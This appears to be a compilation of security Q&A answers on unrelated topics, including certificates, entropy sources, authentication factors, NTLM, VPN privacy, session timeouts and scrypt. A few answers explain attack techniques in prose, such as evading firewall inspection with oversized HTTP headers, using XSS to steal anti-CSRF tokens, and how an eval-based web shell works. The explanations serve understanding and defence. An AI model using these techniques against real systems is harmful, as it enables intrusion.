Installing root certificates on a server causes that server to implicitly trust any future certificates signed by that root. By installing that root cert, you could then use self-generated certificates that are signed be the root that was installed.

This adds a layer of security in that your root is not distributed for use by other servers/instances, and would not need to be replaced if of those signed by it was compromised; you could simply revoke the compromised one and issue a new one signed by your root.


Large / Over-sizesd HTTP Header Lengths and Security Implications

Several firewalls (or IDS, IPS, UTM, NGFW - whatever you call them) have limits on the length of content they analyze for malware (usually around 10MB, but sometimes even lower). Some include the length of the HTTP header into this computation. In this case the analysis of the HTTP body (containing the malware) can be bypassed when the HTTP header is already larger than the inspection limit.


If they are all from the same domain, and you have ownership of the domain, you can use Domain Search.

Otherwise, you can feed them into the API one-by-one, with curl, python requests, or likewise: GET https://haveibeenpwned.com/api/v2/breachedaccount/{account}

The API is rate-limited to 1 request every 1.5 seconds, so it may take awhile, depending on the size of your list.


The assert function will be called with one static parameter, the string is_string($entityId).

Thanks to the usage of single quotes, $entityId won't be interpolated, so an attacker won't be able to execute any PHP code.


What are the benefits of encryption for everyday people?

I think the others covered signing already pretty well, so I'll present my thoughts on encryption.

Possible Reasons for encryption for everyday people

They would (or should) want it because pretty much nobody has nothing to hide. It doesn't have to be anything illegal. If people really think about it, they can come up with an embarrassing secret they do not want just anybody to know about (sex?, drugs?, health? money? discussing my little pony fanfic?). Encryption also might help reduce the effects of stalking.

Or because even innocent mails might sound different to other people (wife/husband, intelligent agency, police, etc), especially if not the whole context is given (for example a quick follow-up to an in-person discussion). Encryption might be easier than trying to put the information in context afterwards.

If they are politically motivated, they might also encrypt to raise the percentage of encrypted mail. If only people who do something illegal (or cheat, etc) encrypt, encryption attracts attention. But if enough innocent mail is encrypted as well, this assumption happens less.

They might also do it because they have to (requirement of their recipient, job requirement, etc).

For most people, these are not good enough reasons, so even if encryption was a lot easier, not a lot of people would do it (except maybe if it was the default in all mail programs, etc).

See also here for examples of sensitive information which should be encrypted and might convince some people.

Who might read their mail

I think everyday people (people who are not "totally paranoid") need to be aware of who might read their mail. It doesn't have to be the government (most everyday people would handwave this away - either as conspiracy theory or something we cannot prevent anyways). But maybe their nosy parents, siblings, roommates, partner, guest, etc. who go to their computer and see that they were not logged out of gmail. Or the creepy neighbor attacking the w-lan hoping to find naught pictures in mail-attachments. Or a criminal hoping for credit card informations. I think if they think about the who more than the what, people might be easier persuaded.

Also, I think one of the main hurdles is that even if people do decide that they want to encrypt, they need to convince all of their recipients to set up encryption themselves. And if they are only a little convinced that they need encryption, it will be extremely hard for them to convince others.


How bad it is to feed /dev/random with /dev/urandom?

I am assuming a Linux system here, on some OS like FreeBSD and Mac OS there isn't any difference between /dev/random and /dev/urandom, and yet others don't have those devices

Both /dev/random and /dev/urandom use the same entropy pool. The difference is that /dev/random "counts" how many bytes have been extracted, estimating the entropy left in the pool. If at one point it considers there's not enough entropy for what it is being asked, it will block, whereas /dev/urandom will provide the requested bytes.

The fact is, just /dev/urandom would have been perfectly fine (except shortly after boot up). Feeding /dev/random with /dev/urandom is a way of cheating, but shouldn't really break the security.

  do I need to invalidate tls certificates, ssh and gpg keys right know, like with the infamous debian bug CVE-2008-0166 ?

Not at all.

  Or is it more like a state-sponsored attacker may find my private key given a few billion euros

Even for a state-sponsored attacker, I don't think it wouldn't be tratable to figure out the random bytes that were extracted from the random pool on a normal system.

The exception are embedded devices, such as routers, where they too often are found to generate a random key (eg. for https or ssh) shortly after boot-up, where they actually have a quite deterministic state.

Still, for longterm keys like those you mention, you may prefer nonetheless to feed from /dev/random knowing that it will take longer, and just sidestep the usage of /dev/urandom. And that's fine, too.


Is this PHP file containing an eval to a POST variable an indication of compromise?

Yes, this is rogue. This script will execute any PHP code passed as plm12345plm POST parameter. This means, an attacker can execute arbitrary PHP and -- depending on the server configuration -- further code on your server.

The first GIF89a line is likely placed to bypass basic file verification during upload of the script as a GIF image.

If the file could actually be executed, consider the server as compromised. If it is not executable directly, it still could be exploited using local file inclusion attacks.


Two-factor authentication Without Mobile Phone

First off, the solution you describe in your blog post is not two factor authentication. You have two 'something you know' factors: your password and your special image.

(edited with updates to answer the extended question, 'can single factor authentication provide the security of multifactor authentication.'

Second, there appears to be some confusion about what authentication factors are. Authentication factors are 'something you know,' 'something you have', and 'something you are'.  Something you know is something that you store in your brain.  Passwords are the most common example, but it includes anything and everything that relies on your memory to know.  You use your brain to remember your password. You use your brain to remember what image you selected.

Something you are refers to stuff about you that is inherent to you being you. Biometrics Are the most common example here.  Your retina shape, your finger print, etc.

Something you have is a physical object in your possession.  Examples include mobile phones, hardware tokens, certificates, printed challenge response 'bingo' cards, your car, etc.

You only get multi-factor authentication when you combine something you know, something you have, and something you are.  You do not get multifactor authentication when you combine multiple elements of the same factor.  A password and securid token combined make for multifactor authentication, because you know one and have the other. Two passwords combined makes single factor authentication because you know both. A password and pre-selected image combined is single factor authentication because you know both.

Third, no, single factor authentication does not provide the same security as multifactor authentication, no matter how hard you try. Different factor, by their very nature, provide different assurances.

Something you know is easy to remember - it must be in order to scale across many users. This makes it easy to provision. You don't have to physically distribute anything like a hardware fob, just ask people to remember a password. It's easy to forget a password and require reprovisioning. It's also somewhat hard to steal, since you can't dig into someone's brain and just take their memory, but theft does not require proximity (monitoring network traffic is enough to steal a password), key loggers work against it, and it's hard to detect that it's stolen. It's also easy to replace - just set a new password and be done.

Something you have is something you carry with you. This makes it harder to provision, since you now have to physically distribute a piece of hardware to everyone (or the equivalent with certificates), though this may be possible with mail or trusted courier. It typically requires expensive infrastructure, though cell phones carried by everyone mitigates that cost. It's easy to forget your hardware device at home, or at the main office during travel, etc, which requires backup infrastructure for temporary provisioning. Something you have is easier to physically steal, though now it requires physical proximity to take your hardware device out of your pocket.  It's easy to detect that tit's stolen, since it is no longer in your possession. It's hard to replace, since you must re-provision with that expensive process.

Something you are is hard to provision - you need special, often expensive equipment to collect biometrics from your users. Your users may find that creepy, and might resist collection. You need physical proximity to collect samples. It's impossible to forget to bring biometrics with you - they are you! Depending upon the biometric, it can be difficult or easy to steal, but it's never secret.  Your dna is left everywhere, fingerprints are left everywhere, retina is temporarily anywhere you look.  Something you are is impossible to replace. You have two eyes, 5fingers (unless you have a birth defect or lost one or more fingers in an injury) and can never get new ones, so if they are compromised you cannot be reprovisioned new credentials. Nor can you get new credentials of the same type if you lose them all - if you lose both hands, you have no more finger prints.

You get strength by combining multiple factors, because this offsets the weaknesses of one factor. With only something(s) you know, you only get the strengths of what you know.  Add some hardware that you have, and now theft becomes obvious at the expense of cost and usability.

Fourth, Yes, you can use things other than your mobile phone for multi-factor authentication. Phones are just used a lot because they are with everyone and don't require carrying a separate physical object, like a watch, hardware token, cardboard challenge card, etc.

Fifth, your solution sounds very much like passkey (based on your blog; I was not willing to provide my email to sign up for your service). I believe I've heard of this solution in another product as well. Are you sure you haven't recreated someone else's work? Are you sure your solution is devoid of patent challenges?

Sixth, your solution may well have many issues. Just off the top of my head, in about 10 minutes, here's a starting list...

If you do not always show the same set of images, the attacker can simply try to authenticate many times and watch what images don't change.  One of them must be the right one.
If you do always show the same set of images, the attacker can try them one at a time
If you show too many images, it will reduce usability. If you don't show enough images, the picture effectively adds no security.
If the real image is located in the same location for every user, or in s predictable location for each authentication (like using rand() to choose the location), the attacker won't even need to know the image, they will just need to predict the next location and enter the location id.
The images are 'public' in that they are always shown pre-authentication, after being shown an email address.  If a user uses the same image at multiple sites, so s/he can remember it, and those sits show different images on the challenge page, this helps the attacker - only the images common to both sites are likely to be the correct one.
A naïve solution following your description allows the attacker to enumerate all valid accounts by presenting the challenge if the email is entered. What happens if the account doesn't exist? Are random images shown every time? Just like number 1 of this list, if all images rotate off the selection list at some point, the attacker will know that the account doesn't exist.  You need to do the math to demonstrate that the performance is low enough compared to the size of the userbase that a system-wide brute force attack will not be successful in a reasonable amount of time, or you need to not leak logins.  Since your solution doesn't exist on s system yet, and is meant as s general purposes solution, you cannot predict the performance of the target server which makes your solution very difficult to prove username enumeration happens to be safe.
Because you are using images, you cannot prevent shoulder surfing on the set of images. This needs to be evaluated for impact to your solution.
Are you preventing shoulder surfing against the selected image entry field?
If you lock out accounts due to bad authentications, you present a denial of service attack against the system. You also only slow down an attack, not prevent it. Once you unlock the account, the attack can begin again.
I saw no mathematical proof of the strength of your visual-password solution. Without such proof (which is not hard to do, given the attack optimizations herein) your solution is be default not trustworthy.
What prevents the user from selecting a password that represents the image? For example, the password "trees" for an image of trees? Not addressing this will make for a new and interesting optimization for the attacker.


PHP crypt() trims the salt as it would be too long

Actually the '3' is there, but it is called 'u'.

Explanations: bcrypt needs a 128-bit salt. The salt you provide should be in "modified base64", i.e. consisting in letters, digits, '/' or '.' signs (this is "modified" because in true Base64, the '+' sign is used instead of '.', and the order is different). Since this is a 64-element alphabet, each character is worth 6 bits, and your 22 characters encode 132 bits.

Bcrypt only uses the first 128 bits of your 132 bits, so the last four bits are totally ignored. The last four bits are the last four bits of the last salt character. In the modified base64, 'u' has value 48, 110000 in binary, while '3' has value 57, 111001 in binary. As you can see, the two values differ only in their last (rightmost) four bits, which are ignored.

What happens is that the bcrypt implementation you use first converts your salt (22 characters) into a 128-bit buffer (16 bytes), and that's where the drop occurs. Then the code will convert it back to modified base64, but this time it will use zeros for the "missing four bits", thus turning your '3' into a 'u'. If you use '97504ebb48c4619f820f8u' instead of '97504ebb48c4619f820f83' as salt, you will find that you obtain the exact same bcrypt output, because these two salts differ only in the last four bits, which are ignored.


How secure is Integrated Windows Authentication for IIS SMTP?

The bad idea is not the use of NTLM, but the lack of use of SSL. Without SSL, data travels unprotected, and, in particular, active attackers may hijack the connection (for instance right after the authentication was performed). No amount of NTLM will fix that.

To use SSL with STMP, there are two ways:

Run the whole SMTP transaction in a SSL server. The client must be aware, beforehand, that it is expected to begin the transaction by a SSL handshake. The traditional port for a STMP-within-SSL server is 465.
Have the client and server use STARTTLS. Connection begins with the "normal" port (25), but the client and server then negotiate the use of SSL/TLS and, after that negotiation, begin a SSL/TLS handshake.

Either way, you must configure the client not to send the password "as cleartext". Most clients can be configured that way.

If you use SSL/TLS then sending the user name + password "as is" is fine. If you do not use SSL/TLS, then switching from basic authentication to NTLM may slow down the less competent attackers, but don't believe that it will really thwart them. The cryptography in NTLM is not exactly worth a lot of enthusiasm, but the biggest problem with raw NTLM over an unprotected socket is the same as raw login+password over an unprotected socket: the socket is unprotected.

Compared to basic authentication, NTLM does not show the password itself, so passive only attackers will not learn the password immediately; however, they obtain a password hash, with a very fast hash function (a few MD4 and MD5, at most), meaning that brute force on the passwords will be effective. A passive-only attacker with a good GPU still has a good chance of breaking some user passwords.

A good reason to switch to NTLM is integration with other authentication methods, e.g. smart cards. But if your users have passwords, then basic authentication does the trick with less hassle.


Does the Kerberos KDC know the users' plaintext passwords?

The short answer is: no.

It knows a secret key that may be derived from the user password. The specification RFC 1510 says in the introduction of section 6:

  It is desirable for the string to key function to
     be one-way, and for the mapping to be different in different realms.
     This is important because users who are registered in more than one
     realm will often use the same password in each, and it is desirable
     that an attacker compromising the Kerberos server in one realm not
     obtain or derive the user's key in another.

Note that there is no random salt unique for every account, just the realm name which is shared among all users of the same realm.

The updated version RFC 4120 allows other way to derive the key:

  The user key might be stored on a smart-card, or otherwise obtained independently of a password.


Is it possible to filter internet access on a mobile phone with a 3/4G connection with a proxy server?

When you're using a proxy server, it is just that a proxy. Everything will be forced to go through it, whether it is wired, wireless, 2G, 3G, 4G, LTE. The browser is configured to do the following:

phone (browser) --> go to Yahoo.com --> through this proxy (1.2.3.4)
proxy --> Internet --> I need this page
Yahoo --> Proxy <--> phone

The connection (wireless/wired/mobile) does not make a difference, all your phone would know that in order for it to get to the web, it needs to use this proxy. You will need to ensure the proxy server is always up otherwise no pages would be server.


Putting personal Data in E-Mail vs sending password in plaintext to access that data

Typically what websites will do is generate a random URL (https://movie-premier.com/rsvp/yNXszjZUpYJvYFqCJ57tuLgSQvcGXWN1 for example), and tie that random code to a user ID with a database entry.
When the user loads that page, you can autofill the data with the corresponding user's information.
URLs tend to get saved by web clients and logs, so having a random placeholder should also reduce the risk of that information leaking that way.

Another benefit of this is that you can also tie in an expiration to it and prevent users from pulling up sensitive information afterwards, or remove that database entry when they finish registering. If you tried to add in all that information in the URL you'd be left with no way to go back and remove it from the email server/client.

Just make sure it's a random URL and not the hash of the user's password or something silly, or an attacker may be able to figure out what the original value was. Also it should go without saying that it should be at least cryptographically random data so that an attacker can't guess what the URLs are, or they may be able to harvest up user data by guessing the registration codes.


Is there an easy way to see a log of SCP activity on a server (ala /var/log/secure for ssh login)?

You need to adjust your sshd logging level to DEBUG in order to see scp client connections.

Look at the /etc/ssh/sshd_config for the "LogLevel" directive.

LogLevel DEBUG

Or the scp -o LogLevel for testing.


Authentication for website and mobile app

The lifetime of a refresh token depends on your configuration. Some frameworks provide forever lasting refresh tokens. Then there are others which provide refresh tokens that expire after 90 days of inactivity. There is also an option to rotate refresh token after every request.
As for the two approaches that you mentioned:
Which one is correct depends on your preferences and whether you can ensure a secure store for your refresh tokens or not. There are several options available to securely store your tokens for a mobile app and I believe encrypted cookies can do the job for you on the web app as well.
Which one is more secure? I would say that just using the access token is more secure. The reason being, if your access token is leaked, malicious users can use it only till it expires which is a lot quicker than your refresh tokens. If a refresh token expires, a malicious user can generate new access tokens to access your APIs.
Having said that, it should not deter you from using refresh tokens. If you use them securely, they can help you provide a good user experience.


Repost: Wappalyzer selling datasets - possible website security implications?

Is this legal?
The usual IANAL disclaimer applies here. First, it depends on which country you're in. However, selling a list of URLs that happen to run a particular bit of software is most likely legal in many countries. Remember that, in most legal systems, the action is illegal, not the tool. Possession of a tool that can be used to cause harm is not illegal, but using that tool to cause harm is illegal. If the data includes any personal details of users, though, the legality becomes a grey area.

What do you think about it?
I think that the list has some legitimate uses:

Tracking the number of sites that use WordPress, for business modelling purposes.
Tracking the number of sites that use old versions of WordPress, for security statistics.
Indexing purposes (e.g. an Internet-wide WordPress search engine)
General marketing purposes.

However, that doesn't mean that there aren't illegitimate purposes:

Spam.
Attacking vulnerable WordPress sites.
Collection of user credentials.

Ultimately, it's something that can be used to facilitate harm, but it's also not malicious in intent. It's a moral grey area, since what clients do with it isn't really up to the vendor. However, I do think the pricing is a little crazy. I could knock up the same set of data in a few weeks with a simple spidering tool.

Is website data widely sold on the net?
Yes, though usually it's in statistical form rather than raw data. It's important for businesses to know what their target market size is, when developing addons for webapps. The same thing applies to user data - social networking sites such as Facebook and Twitter are built around the concept of selling marketing data to companies, and targeting adverts at users. Similar stats for webapps makes total sense in such a business environment.


I'm not sure I entirely understand your question, but I'm going to make some assumptions... I'm assuming your taking about PGP encryption and sharing your public key. Let's say your name is "John Smith", now just doing a quick search on John Smith comes up with hundreds of results so lets look at two I picked at random[1] let's call them John Smith A0xA414B7C7 and John Smith B0xB82A4EAA

Let's say you are John Smith A. If I understand your question correctly you are asking if there is a chance that John Smith B could send a file and because it's PGP signed/encrypted someone thinks it's from you?

PGP protects against this allowing people to Sign keys. Your friends could sign your key to say this really is John Smith A. Similarly the person your sending the file to could download your public key and then they could check the key used to encrypt / sign the file matches the key they expect and is not some other John Smith.

You could also use some Out-of-band method to send someone your key's finger print (like printing it an mailing it to them) so that even if J. Random Hacker created a key and said his email was the same as yours it wouldn't match because your keys fingerprint would be different to his.

Decrypting a file that was encrypted with a key you don't trust should give you a warning message.

[1] Ok, to be fair it wasn't truly random, I picked them because their finger prints started with A and B but I don't know who they are.


How does Netflix tell I'm behind a vpn managed with OpenVPN but not other managers?

Assuming that you really end up with the same VPN endpoint the most likely explanation is that you local OpenVPN setup is not strict enough and that you are either using a DNS server without VPN (i.e. some local DNS server in your network) and/or that IPv6 is not covered by your setup and thus bypasses the VPN too. Both are typical configuration problems.

Both of these problems are already discussed on this site, see for example Open VPN has DNS leak and My ISP provides IPv6 natively but my VPN does not support IPv6. You can also check your setup with sites like ipleak.net.


Detect when I do brute force attack and block the connection

One way to mitigate this issue would be to implement egress filtering on your network.  For example most web servers should have no requirement to make connections to the SSH ports of arbitrary hosts on the Internet, so if you block this traffic at the firewall your systems become less useful to attackers

Also this can help reduce the risk of compromise in the first place, as egress filtering can make establishing active control of your systems harder (not impossible, but it raises the bar a bit).

If you want to go down the detection route, a network intrusion detection system (e.g. snort) could be used to alert on unusual traffic patterns like brute-force attacks.


Does http support encryption without https (like STARTTLS)?

There is a standard for STARTTLS in plain HTTP. Note that "STARTTLS" is still SSL; it merely modifies the dynamics, but no implementation complexity is avoided that way.

Generally speaking, nobody uses STARTTLS for HTTP, mostly because it is less secure. Indeed, a very big part of SSL-for-Web-browsers is the visual feedback, by which the user is made aware of the encryption (the famous "padlock icon"). Without it, the user would have no way of knowing whether he really gets SSL, or whether he is browsing a fake site which plunders his passwords and bank accounts.

"Protocol incompatibility" and "underpowered device" are myths. Any browsing-capable device currently running knows at least how to do SSL 3.0, and that's sufficient for decent security. As for power, I have personally implemented and run SSL on a 33 MHz embedded ARM CPU; that's the kind of device that you would not deem worthy as a wristwatch. Even a basic bank smart card, the small chip embedded in a plastic rectangle, has more power than that. When people say that they don't support SSL because of lack of power, this is a lie; what they should say is that they don't support SSL because they are lazy.

As for "user preference": well, that one is kind of intangible. However, safety belts are mandatory in cars, and for good reasons. In fact, the Society as a whole is entitled to enforce safety belts regardless of "user preferences", because the same Society as a whole will have to support the consequences of a careless driver who has a slight accident turned into a dramatic disability because he did not have his belt on. The same reasoning applies for SSL: I do not want to let users "opt out" of SSL when such opting out is bloody stupid.


how to track IP address from which mail has been sent?

The traditional method is to check the email's header for the IP address of the sendeer. But, unfortunately, GMail email headers do not contain the IP address of the sender , so you have no way to check that information even programmatically.


The private key won't be stored in the software. If a private key is used, then the corresponding public key will be stored in the software. See Wikipedia - Public-key cryptography.

If you used a symmetric crypto algorithm it would be "easy" to extract the key from the software (security by obfuscation does not count) and calculate the confirmation ID by yourself. Even worse, anyone could provide tools to calculate the confirmation ID.

Hence I would change step 4 and 5 a bit. I would indeed hash the Installation ID and then cipher it with my private key - this is the Confirmation ID. The client would then decipher the Confirmation ID (with the public key) and compare the result with the hash it calculated from the Installation ID. If the hashes match the Confirmation ID is correct.


Can wifi network administrators see through proxy servers?

Yes, and you may not be as obscured as you think. They can't tell what you're saying to a VPN server (because it's encrypted), including what sites you're accessing via the VPN, but they can tell that you are connecting to that VPN server. In networks where you have to register your device to your name somehow (e.g. many university networks), they can also tell that it's you (or someone impersonating you) who is connecting to the VPN.

For an example: I have laptop A, an account on VPN server B. I want to say "hello" to site C.

If I talk directly to site C, a network administrator can see "A said 'hello' to C".
If I talk directly to site C over an encrypted connection (e.g. over SSL), a network admin sees "A said 'oewqhfch' to C" (where 'oewqhfch' is 'hello', but encrypted; the network admin can't decrypt it)
If I use B as a simple unencrypted proxy to talk to C (i.e. I'm not encrypting what I say to B), the admin sees "A said 'Tell C "hello" and send me C's response' to B"
If I use B as an unencrypted proxy but encrypted my communication to C, the admin would see "A said 'Tell C "oqewqer" and send me the response' to B" (this is uncommon)
If I use B as a VPN (encrypted connection to B), the admin sees "A said 'ewqrvqfqjpocn' to B". B then decrypts that to see that A asked it to "Tell C 'hello' and send me the response", but the administrator of A's network doesn't know that A said that.

So, a VPN gives the benefit that everything you're doing on the VPN is hidden from the administrator of your network; the idea is to make it as though you were directly connected to the VPN provider's network. But your network administrator still sees that you're talking to the VPN server, because they have to route your packets to and from that server.


Secure API access over SSL using oauth token

If your back end requires the plain text password, why not cache the password on a secure API proxy server?

  client --- oauth---> [Data Center] ---> HTTP/S ---> App that caches passwords ---> backend

There are many ways to do OAuth 2.0, and I would suggest using the normal token that already includes an expiration, scope, and signature fields.

Just use the verified user ID that comes from the OAuth token to dictate to your proxy on the back end what calls to make.

In my mind, this architecture centralises security, reduces complexity, and allows for better testability.


Whether you company will be able to see the content of your chats depends on a couple of factors

Is your access to the chat site encrypted?  if you're using SSL, then normally someone running a network you're accessing it over, will not be able to see the content of the chat (although they will likely know the name of the site you're accessing).  The exception to this is if they are using software to intercept SSL connections and you have installed the relevant certificate to allow that to happen. Assuming you're using a personal device to access the chat sites, you'd know if this had happened.
If the chat site isn't running over an encrypted connection, they it's possible technically for the person running the network to see the content of your chats.  In some countries they would be obliged to provide you notification that your traffic may be inspected.


What is the (literally) lightest way to run a second secure system?

You could actually do what you proposed, but they are a pain in the ass, Ok, except 2, this is not that big deal and I actually use it as well for carrying portable desktop in hostile environments. The thing is you can do some more things, which, in my point of view, will give you greater flexibility.

Don't get a USB for live boot, get an external hard drive, install an OS normally, encrypt it all and enjoy full functionality (preferentially Linux).
If you get to use a live USB, use an amnesiac OS LIKE Tails Linux and save anything you want directly to an external drive.
Use virtual machines. One laptop, one physical drive. You can choose many different ways to make your host system communicate with a VM and you can also encrypt the vms' virtual drive. That way you can actually choose which will be the secure OS and which will be full of malware (use the VM for that reason - that's how malware analysis is usually done btw). It will save you money and carrying weight.
Get 2 laptops
Make great use of that raspberry you mentioned. I don't know any way you can use your laptops' hardware on you rpi, but you can get a big power back, an external screen and a set of mouse/keyboard and have a very handy and light system ready to roll EVERYWHERE! No joking, this is the best thing i ever created and I'm traveling with this when I know I won't really need my laptop but may need a terminal.


Password checking process for common websites

Can you confirm this is the regular process in 2020?

It depends on what you mean with "regular" process. It is considered state-of-the-art for most use cases and recommended by established security standards and guidelines.

This doesn't mean that everyone is following best practices and you can see different protocols in the wild. Based on my experience, most established website use a similar scheme to what you have described.

What "mechanism" can make sure for us on the client side that the server will erase the password in clear from all types of memory right after it's computed its hash? Is this mechanism called "trust" or is there something to answer that concern?

"Trust" is a good answer for that. There is no reasonable technical way to prove that the server erased something. If the server component is open source, you can look at the implementation and trust, that the server is running the same code without modification. A company can also show evidence of a independent security audit that was passed. But again, this is an review that was performed at one point in time and does not allow you to deduce what has changed since.

Long story short, it comes down to trust. But why should the owner of the web server intentionally weaken its level of security? There is nothing to gain from an insecure implementation, so it is mostly trust in the requirements engineers and the developers that they know what they are doing.


How to troubleshoot why Thunderbird rejects a PKCS#12 certificate with "Could not verify this certificate for unknown reasons"?

Last I had to do something like that, I ploughed through NSS source code. NSS is the library which Mozilla products use for all things crypto. Ultimately, you could compile your own Thunderbird and run it in a debugger (or spread printf() calls throughout the NSS code, for some old-style analysis).

Apart from that, it is mostly guesswork. You did it quite well: by importing the same certificate into Firefox and Thunderbird, both using the same NSS code, you actually showed that the detail you were after had to be something about emails -- which then points to extended key usage and "usage rules" that NSS can attach to a given root.

At least, NSS is opensource. Try doing the same for Windows/IE next time...


How long should a session absolute timeout be?

There is no strict answer to the time length.  The limits of idle timeouts depend on regulations and possibly jurisdictional laws.

Session-based access to cardholder data in PCI DSS 3.1 is required to be "reasonable".  PCI DSS 3.1 in item 8.1.8 provides specific guidance on this

  8.1.8 If a session has been idle for more than 15 minutes, require the user to re-authenticate to re-activate the terminal or session.

SOURCE: https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-1.pdf

Similar suggestions exist for other compliance programs.  Making it configurable and flexible according to data sensitivity context is likely your best bet.

Absolute timeouts aren't mandated under any framework I know of, but they do seem interesting.  The user experience impact is potentially significant, but the benefit of limiting the duration of a session hijacking is also significant.  It seems like a better solution - if you control the application code - would be session rotation (ie: a Renewal Timeout in OWASP parlance) whereby the application generates a fresh session ID periodically.

I recommend pursuing a Renewal Timeout if the application permits it and using a renewal timeout no greater than 1 hour.  This substantially reduces the hijacking risk and should be practical with any application that has a straight-forward (small and manually copyable) or serializable session state.

If Absolute Timeout is your only option I would make the timeout 24 hours.  It's a sensible limit and limits surprise.  A multi-day absolute timeout would likely confuse users as they'd see the re-prompt as arbitrary or potentially indicative of application failure.


HTTPS: is the data downloaded when loading a page encrypted?

An HTTPS connection encompasses both directions; server->client data is encrypted just like client->server data is.

The private key is important in securing the session key setup, and the session key is used by both sides to encrypt the conversation.


How Reliably do mail systems transmit Encrypted PDFs

Mail providers don't (necessarily) block encrypted attachments, but every IT organization has policies on this sort of thing. You really need to do some research on your target market to find out if their mail servers (or their settings for things like Postini) are configured to strip these attachments. Just asking mail providers and/or places like Postini isn't enough.


Help in Suricata rule bitmask syntax problem

It is unknown what version you are using, but I will assume that you are not using a beta version. bitmask was only recently implemented in 6.0.0-beta1 and is at the time of this writing not available in a stable version. The option was documented much earlier though, i.e. there was a bug in that it was documented but not actually implemented. For details see Ticket 3283 and the ChangeLog where you should search for "#3283" to find out when it was fixed.


How do anti-viruses identify malicious pages when JavaScript doesn't have access to the filesystem anyway?

HTML and JavaScript, when employed in specific ways, can be used to o wn your system, even your home router. The attack vectors against a web browser involve things like:

malicious plugin files (mainly Flash, Silverlight) that exploit vulnerabilities in the plugin (Flash Player, Silverlight Player)
JavaScript that exploits vulnerabilities in the browser's JavaScript engine
XSS attacks that attempt to fool the user into giving up credentials to another web site (e.g. banks, PayPal, etc.) that the attacker can use for financial gain.

Anti-virus programs that protect browsing sessions look for and quash known exploits like XSS and malicious plugins. If history is any guide, there are always unreported vulnerabilities, so there are always opportunities for hackers.


In some circumstances, hiding software identifying information can be considered beneficial to the overall system's security, not to expose it to risks of being targeted by 0-day exploits, or make it generally easier for the attacker to find possible exploits without doing much research on what software he should target, and increasing chances of being exposed in the process.

Scanning for banners (as these signatures are sometimes called by attackers) can be difficult to detect, if the software itself doesn't makes it trivial for the attacker to collect it, so removing any such signatures or changing them to arbitrary non-identifying values is often recommended, for example on web server software (Apache, IIS,...) that might by default publish even what operating system they're running on.

In your case however, discovering what web framework some website is based on (especially the most common ones, like the ones you mention) is fairly trivial by simply inspecting response HTML / CSS / JS for signs of common building blocks these frameworks rely on (and sometimes even on what domain or web hosting server they're published), so I wouldn't really say you'd be hiding essential information that is otherwise impossible to determine by other means. Adding, or removing a line "Powered by..." in / from your response footer (or anywhere else) in my opinion doesn't change a thing for high level software stack (but you might want to omit what OS it's running on, e.t.c.).

Most websites built on such frameworks will be far more at risk of being targeted by automated web bots looking to inject malicious code by commonly known exploits, regardless if your website is built on this or that framework / CMS / whatsitcalled, not even bothering to look at your signature information. And more targeted attacks really won't have hard time figuring what underlying framework it's built on. You would be by far better off by "obfuscating" paths to your CMS, and focusing your attention on hardening web application security by running vulnerability scanners on them on your own and eliminating any potential vulnerabilities they came up with, for example.


Can XSS mitigate all anti-CSRF protections?

Assuming you can reach the second page without needing a cookie or other stateful artifact of going through the first page, yes, you absolutely can do that. Use XMLHttpRequest or fetch to retrieve the user's view of the first page, extract the CSRF token, and then use it to POST the values you want. Alternatively, inject an iframe for the first page into the second (it can be invisible to the user), and then you can read the iframe's contents and manipulate its DOM, because it is same-origin.

Alterntively, for login CSRF, just programmatically set the session cookie in the XSS payload. Login CSRF matters, but only after you have completely eliminated XSS and usually post-authentication CSRF matters a lot more, too. Sign-up CSRF is basically a weird case of login CSRF.


If your private key ever leaked then at least the damage would be time limited.

https://www.gnupg.org/gph/en/manual/c481.html


How and why is executable stack dangerous?

In case of stack based buffer overflow exploits attackers typically control parts of the stack (that's how she triggers the overflow in the first place). After gaining control over the program counter it would be very convenient for the attacker to resume execution on attacker controlled data on the stack, which is only possible if the stack is executable. Marking the stack non-executable is part of the W^X policy: when implemented, the attacker can only control non-executable memory, making direct injection of executable code impossible.

Attackers usually overcome this mitigation by reusing existing executable code from the target program using techniques like return-to-libc or ROP.


Cached pages aren't inherently more secure, as the same page is being sent to your browser. It still renders the website in your browser.
If you need to go to a sketchy website, turning off plugins and JavaScript makes it more safe.
In Chrome, go to Content settings and add a Deny exception for the site in Plugins and JavaScript.
For Firefox, use the NoScript add-on.


Why does node.js scrypt function use HMAC this way?

I created the Node Scrypt module.

HMAC adds additional security. Using it also lends the scheme to be used as a header in an encrypted file format (like it is done in tarsnap) and not just in an authentication server's database. Also, Colin Percival (who created scrypt) uses this scheme to verify (I actually just copied it from him).

To explain why HMAC is used, lets have a quick recap. When encrypting something using the scrypt key derivation function, a 96 byte result is produced with the following break down:

 bytes 0-5: The word "scrypt"
 byte 6: 0
 byte 7: logN
 bytes 8-11: r
 bytes 12-15: p
 bytes 16-47: salt (which is 32 bytes)
 bytes 48-63: A 16 byte SHA256 checksum (hash) of the contents of bytes 0 to 47
 bytes 64-95: A 32 byte HMAC hash of bytes 0 to 63 with the key being the scrypt cryptographic hash

It is vital that bytes 0 to 47 be in plaintext (not altered or encrypted in any way). To ensure this, there is a 16 byte SHA256 checksum. Now while SHA can be used quite effectively as a checksum (specially in this case), it cannot guard against an active attack, meaning that someone has got hold of the payload, substituted their own values. For example, I could get hold of the payload, calculate my own logN, r and p as well as my own checksum and then pass that off as the original.

To guard against this happening, the final 32 bytes is HMAC. HMAC is used to ensure message integrity (i.e. guards against anyone actively changing a payload) and is a workhorse of the cryptographic arsenal (read: it is safe and secure to use). HMAC requires a key, and we use the scrypt hash as the key.

If the final 32 bytes were just a scrypt hash, then nothing would stop an active attacker from being able to compromise everything and substitute their own scrypt hash. The HMAC protects against. It not only serves as a means to verify the scrypt hash, but it also checks the integrity of the entire scheme.

BTW: People may be wondering why the checksum (bytes 48 to 63) is required. Well, if you think about it, we need to calculate the scrypt hash so it can be used as a key for the HMAC. So the checksum adds an additional level of checking: If it does not pan out, then the verification immediately returns false without going any further.


What are the compliance requirements or standards for a non-US firm hosting personal data in the US?

I'd think that you don't have to cover US privacy law if you don't have US customers or operate in the US.

However, you will probably have to conform to the privacy laws of the country or countries you are residing and/or operating in.

You'll basically have to figure out if your Japanese law allow your data to be stored outside your borders, and by a vendor who can potentially be forced by US law enforcement agencies to surrender your data.

Most often there is no easy answer to this, so if it's important I'd suggest that you find a local lawyer and talk it over with him.


Should users be allowed to reuse/recyle the same login credentials across a network for different systems?

